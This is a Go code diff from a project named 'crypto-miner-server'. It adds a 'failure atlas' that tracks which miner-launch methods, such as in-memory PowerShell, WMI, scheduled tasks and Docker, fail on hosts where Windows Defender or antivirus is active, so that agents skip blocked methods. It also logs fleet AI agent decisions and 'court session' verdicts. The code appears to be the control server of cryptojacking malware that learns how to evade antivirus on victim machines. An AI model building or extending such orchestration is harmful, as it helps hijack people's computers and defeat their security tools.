return "Linux"
|
||||
case ConditionGOOSDarwin:
|
||||
return "macOS"
|
||||
case ConditionNoWSL:
|
||||
return "no WSL"
|
||||
case ConditionNoPowerShell:
|
||||
return "no PowerShell"
|
||||
case ConditionNoDotNet:
|
||||
return "no dotnet"
|
||||
case ConditionNoGPU:
|
||||
return "no GPU"
|
||||
default:
|
||||
return strings.ReplaceAll(cond, "_", " ")
|
||||
}
|
||||
}
|
||||
69
server/internal/atlas/failure_atlas_test.go
Normal file
69
server/internal/atlas/failure_atlas_test.go
Normal file
@@ -0,0 +1,69 @@
|
||||
package atlas
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
func TestRecordFiveDefenderPowerShellFailuresSkipSubtree(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
fp := strategy.HostFingerprint{GOOS: "windows", AVBlocks: true, Subnet: "192.168.1"}
|
||||
key := fp.Key()
|
||||
atlas := NewFailureAtlas(database)
|
||||
|
||||
for i := 0; i < 5; i++ {
|
||||
if err := atlas.RecordFailure(key, "ps_inmemory", []string{ConditionDefenderOn}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
probes := ProbeSnapshot{DefenderOn: true, PowerShell: true, Docker: true, WSL: true, DotNet: true}
|
||||
if !atlas.ShouldSkipSubtree(key, "ps_inmemory", probes, fp) {
|
||||
t.Fatal("expected ps_inmemory subtree skip after 5 defender failures")
|
||||
}
|
||||
|
||||
rules, err := atlas.GetAtlasRules(key, fp.GOOS)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(rules) == 0 || rules[0].FailCount < MinFailCountForSubtree {
|
||||
t.Fatalf("expected active atlas rule, got %+v", rules)
|
||||
}
|
||||
|
||||
skips, err := atlas.ComputeSkips(fp, nil, nil, boolPtr(true))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(skips) == 0 || skips[0].Tier != "ps_inmemory" {
|
||||
t.Fatalf("expected ps_inmemory atlas skip, got %+v", skips)
|
||||
}
|
||||
}
|
||||
|
||||
func TestShouldSkipSubtreeRequiresActiveCondition(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
fp := strategy.HostFingerprint{GOOS: "windows", Subnet: "10.0.0"}
|
||||
key := fp.Key()
|
||||
atlas := NewFailureAtlas(database)
|
||||
for i := 0; i < 5; i++ {
|
||||
_ = atlas.RecordFailure(key, "ps_inmemory", []string{ConditionDefenderOn})
|
||||
}
|
||||
|
||||
probes := ProbeSnapshot{DefenderOn: false, PowerShell: true}
|
||||
if atlas.ShouldSkipSubtree(key, "ps_inmemory", probes, fp) {
|
||||
t.Fatal("should not skip when defender condition is inactive")
|
||||
}
|
||||
}
|
||||
|
||||
func boolPtr(v bool) *bool { return &v }
|
||||
45
server/internal/atlas/subtree.go
Normal file
45
server/internal/atlas/subtree.go
Normal file
@@ -0,0 +1,45 @@
|
||||
package atlas
|
||||
|
||||
import "strings"
|
||||
|
||||
// subtreeForTier maps a failed parent tier to mining tiers that should be hard-skipped.
|
||||
var subtreeForTier = map[string][]string{
|
||||
"ps_inmemory": {"ps_inmemory"},
|
||||
"powershell": {"ps_inmemory"},
|
||||
"dotnet": {"dotnet"},
|
||||
"exe_subprocess": {"exe_subprocess"},
|
||||
"wsl": {"wsl"},
|
||||
"container": {"container", "docker_load"},
|
||||
"docker_load": {"docker_load", "container"},
|
||||
"docker": {"container", "docker_load"},
|
||||
"gpu_subprocess": {"gpu_subprocess", "gpu_compute"},
|
||||
"gpu_compute": {"gpu_compute", "gpu_subprocess"},
|
||||
"stratum_direct": {"stratum_direct"},
|
||||
"wmi": {"wmi"},
|
||||
"scheduled_task": {"scheduled_task"},
|
||||
}
|
||||
|
||||
func normalizeTier(tier string) string {
|
||||
return strings.ToLower(strings.TrimSpace(tier))
|
||||
}
|
||||
|
||||
func subtreeTiers(tier string) []string {
|
||||
key := normalizeTier(tier)
|
||||
if branch, ok := subtreeForTier[key]; ok {
|
||||
return append([]string(nil), branch...)
|
||||
}
|
||||
if key != "" {
|
||||
return []string{key}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func tierInSubtree(target, parent string) bool {
|
||||
target = normalizeTier(target)
|
||||
for _, t := range subtreeTiers(parent) {
|
||||
if normalizeTier(t) == target {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
43
server/internal/atlas/types.go
Normal file
43
server/internal/atlas/types.go
Normal file
@@ -0,0 +1,43 @@
|
||||
package atlas
|
||||
|
||||
// MinFailCountForSubtree is how many conditioned failures before a subtree is hard-skipped.
|
||||
const MinFailCountForSubtree = 5
|
||||
|
||||
// Well-known probe / posture conditions recorded with each failure pattern.
|
||||
const (
|
||||
ConditionDefenderOn = "defender_on"
|
||||
ConditionNoDocker = "no_docker"
|
||||
ConditionAVBlocksExe = "av_blocks_exe"
|
||||
ConditionGOOSWindows = "goos=windows"
|
||||
ConditionGOOSLinux = "goos=linux"
|
||||
ConditionGOOSDarwin = "goos=darwin"
|
||||
ConditionNoWSL = "no_wsl"
|
||||
ConditionNoPowerShell = "no_pwsh"
|
||||
ConditionNoDotNet = "no_dotnet"
|
||||
ConditionNoGPU = "no_gpu"
|
||||
)
|
||||
|
||||
// FailurePattern is one aggregated negative-space bucket in SQLite.
|
||||
type FailurePattern struct {
|
||||
FingerprintBucket string `json:"fingerprint_bucket"`
|
||||
Condition string `json:"condition"`
|
||||
Tier string `json:"tier"`
|
||||
FailCount int `json:"fail_count"`
|
||||
}
|
||||
|
||||
// AtlasRule is a learned skip rule exposed to UI / AI.
|
||||
type AtlasRule struct {
|
||||
Tier string `json:"tier"`
|
||||
Condition string `json:"condition"`
|
||||
FailCount int `json:"fail_count"`
|
||||
Reason string `json:"reason"`
|
||||
Subtree []string `json:"subtree,omitempty"`
|
||||
FingerprintBucket string `json:"fingerprint_bucket,omitempty"`
|
||||
}
|
||||
|
||||
// AtlasSkip is one hard skip pushed to agents and diagnostics.
|
||||
type AtlasSkip struct {
|
||||
Tier string `json:"tier"`
|
||||
Condition string `json:"condition"`
|
||||
Reason string `json:"reason"`
|
||||
}
|
||||
@@ -14,6 +14,11 @@ type AIDecisionRecord struct {
|
||||
Response string `json:"response"`
|
||||
CommandsExecuted string `json:"commands_executed"`
|
||||
Timestamp string `json:"ts"`
|
||||
|
||||
CourtSession bool `json:"court_session,omitempty"`
|
||||
ProsecutorSnippet string `json:"prosecutor_snippet,omitempty"`
|
||||
DefenderSnippet string `json:"defender_snippet,omitempty"`
|
||||
JudgeVerdict string `json:"judge_verdict,omitempty"`
|
||||
}
|
||||
|
||||
func (d *Database) ensureAIDecisionsTable() error {
|
||||
@@ -30,20 +35,42 @@ func (d *Database) ensureAIDecisionsTable() error {
|
||||
}
|
||||
_, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_ai_decisions_agent ON ai_decisions(agent_id)`)
|
||||
_, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_ai_decisions_ts ON ai_decisions(ts)`)
|
||||
d.ensureAIDecisionsCourtColumns()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *Database) ensureAIDecisionsCourtColumns() {
|
||||
cols := []struct{ name, ddl string }{
|
||||
{"court_session", `ALTER TABLE ai_decisions ADD COLUMN court_session INTEGER NOT NULL DEFAULT 0`},
|
||||
{"prosecutor_snippet", `ALTER TABLE ai_decisions ADD COLUMN prosecutor_snippet TEXT NOT NULL DEFAULT ''`},
|
||||
{"defender_snippet", `ALTER TABLE ai_decisions ADD COLUMN defender_snippet TEXT NOT NULL DEFAULT ''`},
|
||||
{"judge_verdict", `ALTER TABLE ai_decisions ADD COLUMN judge_verdict TEXT NOT NULL DEFAULT ''`},
|
||||
}
|
||||
for _, c := range cols {
|
||||
var n int
|
||||
_ = d.QueryRow(`SELECT COUNT(*) FROM pragma_table_info('ai_decisions') WHERE name = ?`, c.name).Scan(&n)
|
||||
if n == 0 {
|
||||
_, _ = d.Exec(c.ddl)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// InsertAIDecision logs one fleet AI decision cycle.
|
||||
func (d *Database) InsertAIDecision(agentID, promptHash, response, commandsExecuted string) error {
|
||||
func (d *Database) InsertAIDecision(agentID, promptHash, response, commandsExecuted string, courtSession bool, prosecutorSnippet, defenderSnippet, judgeVerdict string) error {
|
||||
if d == nil {
|
||||
return nil
|
||||
}
|
||||
if err := d.ensureAIDecisionsTable(); err != nil {
|
||||
return err
|
||||
}
|
||||
courtInt := 0
|
||||
if courtSession {
|
||||
courtInt = 1
|
||||
}
|
||||
_, err := d.Exec(
|
||||
`INSERT INTO ai_decisions (agent_id, prompt_hash, response, commands_executed) VALUES (?, ?, ?, ?)`,
|
||||
agentID, promptHash, response, commandsExecuted,
|
||||
`INSERT INTO ai_decisions (agent_id, prompt_hash, response, commands_executed, court_session, prosecutor_snippet, defender_snippet, judge_verdict)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?)`,
|
||||
agentID, promptHash, response, commandsExecuted, courtInt, prosecutorSnippet, defenderSnippet, judgeVerdict,
|
||||
)
|
||||
return err
|
||||
}
|
||||
@@ -68,13 +95,15 @@ func (d *Database) ListAIDecisions(agentID string, limit int) ([]AIDecisionRecor
|
||||
agentID = strings.TrimSpace(agentID)
|
||||
if agentID != "" {
|
||||
rows, err = d.Query(
|
||||
`SELECT id, agent_id, prompt_hash, response, commands_executed, ts
|
||||
`SELECT id, agent_id, prompt_hash, response, commands_executed, ts,
|
||||
court_session, prosecutor_snippet, defender_snippet, judge_verdict
|
||||
FROM ai_decisions WHERE agent_id = ? ORDER BY id DESC LIMIT ?`,
|
||||
agentID, limit,
|
||||
)
|
||||
} else {
|
||||
rows, err = d.Query(
|
||||
`SELECT id, agent_id, prompt_hash, response, commands_executed, ts
|
||||
`SELECT id, agent_id, prompt_hash, response, commands_executed, ts,
|
||||
court_session, prosecutor_snippet, defender_snippet, judge_verdict
|
||||
FROM ai_decisions ORDER BY id DESC LIMIT ?`,
|
||||
limit,
|
||||
)
|
||||
@@ -88,10 +117,15 @@ func (d *Database) ListAIDecisions(agentID string, limit int) ([]AIDecisionRecor
|
||||
for rows.Next() {
|
||||
var rec AIDecisionRecord
|
||||
var ts string
|
||||
if err := rows.Scan(&rec.ID, &rec.AgentID, &rec.PromptHash, &rec.Response, &rec.CommandsExecuted, &ts); err != nil {
|
||||
var courtInt int
|
||||
if err := rows.Scan(
|
||||
&rec.ID, &rec.AgentID, &rec.PromptHash, &rec.Response, &rec.CommandsExecuted, &ts,
|
||||
&courtInt, &rec.ProsecutorSnippet, &rec.DefenderSnippet, &rec.JudgeVerdict,
|
||||
); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
rec.Timestamp = ts
|
||||
rec.CourtSession = courtInt != 0
|
||||
out = append(out, rec)
|
||||
}
|
||||
return out, rows.Err()
|
||||
|
||||
65
server/internal/db/atlas.go
Normal file
65
server/internal/db/atlas.go
Normal file
@@ -0,0 +1,65 @@
|
||||
package db
|
||||
|
||||
import "strings"
|
||||
|
||||
// FailureAtlasPattern is one conditioned failure bucket in SQLite.
|
||||
type FailureAtlasPattern struct {
|
||||
FingerprintBucket string
|
||||
Condition string
|
||||
Tier string
|
||||
FailCount int
|
||||
}
|
||||
|
||||
func (d *Database) UpsertFailureAtlasPattern(fingerprintBucket, condition, tier string) error {
|
||||
if d == nil {
|
||||
return nil
|
||||
}
|
||||
_, err := d.Exec(`
|
||||
INSERT INTO failure_atlas (fingerprint_bucket, condition, tier, fail_count, updated_at)
|
||||
VALUES (?, ?, ?, 1, CURRENT_TIMESTAMP)
|
||||
ON CONFLICT(fingerprint_bucket, condition, tier) DO UPDATE SET
|
||||
fail_count = fail_count + 1,
|
||||
updated_at = CURRENT_TIMESTAMP`,
|
||||
fingerprintBucket, condition, tier,
|
||||
)
|
||||
return err
|
||||
}
|
||||
|
||||
func (d *Database) ListFailureAtlasPatterns(fingerprintBucket, goos string) ([]FailureAtlasPattern, error) {
|
||||
if d == nil {
|
||||
return nil, nil
|
||||
}
|
||||
out, err := d.queryFailureAtlasPatterns(`fingerprint_bucket = ?`, fingerprintBucket)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(out) > 0 {
|
||||
return out, nil
|
||||
}
|
||||
if strings.TrimSpace(goos) == "" {
|
||||
return nil, nil
|
||||
}
|
||||
return d.queryFailureAtlasPatterns(`fingerprint_bucket LIKE ?`, strings.ToLower(goos)+"|%")
|
||||
}
|
||||
|
||||
func (d *Database) queryFailureAtlasPatterns(whereClause string, arg interface{}) ([]FailureAtlasPattern, error) {
|
||||
query := `
|
||||
SELECT fingerprint_bucket, condition, tier, fail_count
|
||||
FROM failure_atlas
|
||||
WHERE ` + whereClause + `
|
||||
ORDER BY fail_count DESC, tier ASC`
|
||||
rows, err := d.Query(query, arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []FailureAtlasPattern
|
||||
for rows.Next() {
|
||||
var p FailureAtlasPattern
|
||||
if err := rows.Scan(&p.FingerprintBucket, &p.Condition, &p.Tier, &p.FailCount); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, p)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
82
server/internal/db/failure_atlas.go
Normal file
82
server/internal/db/failure_atlas.go
Normal file
@@ -0,0 +1,82 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// FailureAtlasEntry is one tier's aggregated failure rate for a fingerprint bucket.
|
||||
type FailureAtlasEntry struct {
|
||||
Tier string
|
||||
Total int
|
||||
Failures int
|
||||
FailPct float64
|
||||
}
|
||||
|
||||
// FailureAtlasSummary returns a compact prosecutor-ready summary from tier_outcomes.
|
||||
func (d *Database) FailureAtlasSummary(fingerprintKey, goos string) (string, error) {
|
||||
entries, err := d.failureAtlasEntries(fingerprintKey)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if len(entries) == 0 && goos != "" {
|
||||
entries, err = d.failureAtlasEntriesLike(goos + "|%")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
}
|
||||
if len(entries) == 0 {
|
||||
return "no fleet failure atlas samples for this fingerprint", nil
|
||||
}
|
||||
parts := make([]string, 0, len(entries))
|
||||
for _, e := range entries {
|
||||
if e.Failures == 0 {
|
||||
continue
|
||||
}
|
||||
parts = append(parts, fmt.Sprintf("%s %d/%d failed (%.0f%%)", e.Tier, e.Failures, e.Total, e.FailPct))
|
||||
}
|
||||
if len(parts) == 0 {
|
||||
return "fleet atlas shows no tier failures for this fingerprint", nil
|
||||
}
|
||||
return strings.Join(parts, "; "), nil
|
||||
}
|
||||
|
||||
func (d *Database) failureAtlasEntries(fingerprintKey string) ([]FailureAtlasEntry, error) {
|
||||
return d.queryFailureAtlas(`fingerprint_key = ?`, fingerprintKey)
|
||||
}
|
||||
|
||||
func (d *Database) failureAtlasEntriesLike(pattern string) ([]FailureAtlasEntry, error) {
|
||||
return d.queryFailureAtlas(`fingerprint_key LIKE ?`, pattern)
|
||||
}
|
||||
|
||||
func (d *Database) queryFailureAtlas(whereClause string, arg interface{}) ([]FailureAtlasEntry, error) {
|
||||
if d == nil {
|
||||
return nil, nil
|
||||
}
|
||||
query := fmt.Sprintf(`
|
||||
SELECT tier,
|
||||
COUNT(*) AS total,
|
||||
SUM(CASE WHEN ok = 0 THEN 1 ELSE 0 END) AS failures
|
||||
FROM tier_outcomes WHERE %s
|
||||
GROUP BY tier
|
||||
HAVING failures > 0
|
||||
ORDER BY failures DESC, total DESC
|
||||
LIMIT 12`, whereClause)
|
||||
rows, err := d.Query(query, arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []FailureAtlasEntry
|
||||
for rows.Next() {
|
||||
var e FailureAtlasEntry
|
||||
if err := rows.Scan(&e.Tier, &e.Total, &e.Failures); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if e.Total > 0 {
|
||||
e.FailPct = 100 * float64(e.Failures) / float64(e.Total)
|
||||
}
|
||||
out = append(out, e)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
Reference in New Issue
Block a user